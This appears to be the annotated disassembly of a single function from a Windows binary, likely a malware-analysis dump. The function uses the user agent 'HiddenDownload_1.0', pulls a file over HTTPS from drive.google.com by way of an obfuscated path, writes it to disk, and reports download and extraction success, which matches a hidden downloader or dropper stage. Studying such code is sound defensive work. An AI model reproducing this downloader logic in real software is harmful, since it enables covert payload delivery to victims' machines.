Function at 0x1400029d0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x14004a080]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov r15, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.HiddenDownload_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
je 0x140002a5a
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.drive.google.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
jne 0x140002a61
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor al, al
jmp 0x140002df8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov ecx, 0x80
call fcn.14000ce98
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], 0x3c
mov qword [rsp + 0x58], 0x3f
movaps xmm0, xmmword [str..t._.tb_hc_0wN3drjF8W_IfaohQfycX7OyYTtRrV0aP_dwonqs_cnvmkn_c]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140043a80]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140043a90]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140043aa0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140043ab0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140043ac0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140043ad0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140043ae0]
movsd qword [rax + 0x70], xmm0
mov word [rax + 0x78], r12w
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x70]
call fcn.1400028f0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140002b39
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002e2e
call fcn.14000ce90
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r8, qword [rbp - 0x70]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, [0x140043af0]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
test rax, rax
jne 0x140002b8d
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor bl, bl
jmp 0x140002db9
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140002d56
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140002d56
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call fcn.140032c50
mov rdx, r15
cmp qword [r15 + 0x18], 7
jbe 0x140002be6
mov rdx, qword [r15]
lea rcx, [rbp - 0x50]
call fcn.140005ca0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], r13
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
mov dword [rbp - 0x74], r12d
nop dword [rax]
lea rdx, str.Writed:
lea rcx, [0x14004b450]
call fcn.140006f20
mov edx, dword [rbp - 0x74]
mov rcx, rax
call fcn.140004290
mov rcx, rax
call fcn.1400071d0
mov dword [rbp - 0x78], r12d
lea rdx, [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140002cb8
mov eax, dword [rbp - 0x78]
test eax, eax
je 0x140002cb8
lea ecx, [rax + 1]
call fcn.14000d114
mov rbx, rax
mov r8d, dword [rbp - 0x78]
inc r8d
xor edx, edx
mov rcx, rax
call fcn.140032c50
lea r9, [rbp - 0x74]
mov r8d, dword [rbp - 0x78]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002ca6
mov r8d, dword [rbp - 0x74]
mov rdx, rbx
lea rcx, [rbp - 0x50]
call fcn.1400040f0
mov rcx, rbx
call fcn.14000ce90
cmp dword [rbp - 0x78], 0
ja 0x140002c20
lea rcx, [rbp - 0x48]
call fcn.140005b60
test rax, rax
jne 0x140002cf6
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 8], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x140002e34
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], r13
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x48]
call fcn.140003de0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x54], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x58]
call fcn.14000c554
nop
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea rdx, str.DownloadFile___good_
lea rcx, [0x14004b450]
call fcn.140006f20
mov rcx, rax
call fcn.1400071d0
mov rcx, r15
call fcn.140002210
test al, al
jne 0x140002d9c
xor bl, bl
jmp 0x140002db9
lea rdx, str.ExtractFile___good_
lea rcx, [0x14004b450]
call fcn.140006f20
mov rcx, rax
call fcn.1400071d0
mov bl, 1
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140002df5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002df0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002e28
call fcn.14000ce90
movzx eax, bl
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14000ce70
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140017cec
nop
call fcn.140017cec
nop
test al, 4
je 0x140002e41
lea rbx, str.ios_base::badbit_set
jmp 0x140002e55
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140001520
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140001e90
lea rdx, [0x1400489a8]
lea rcx, [rsp + 0x60]
call fcn.14000ec0c
int3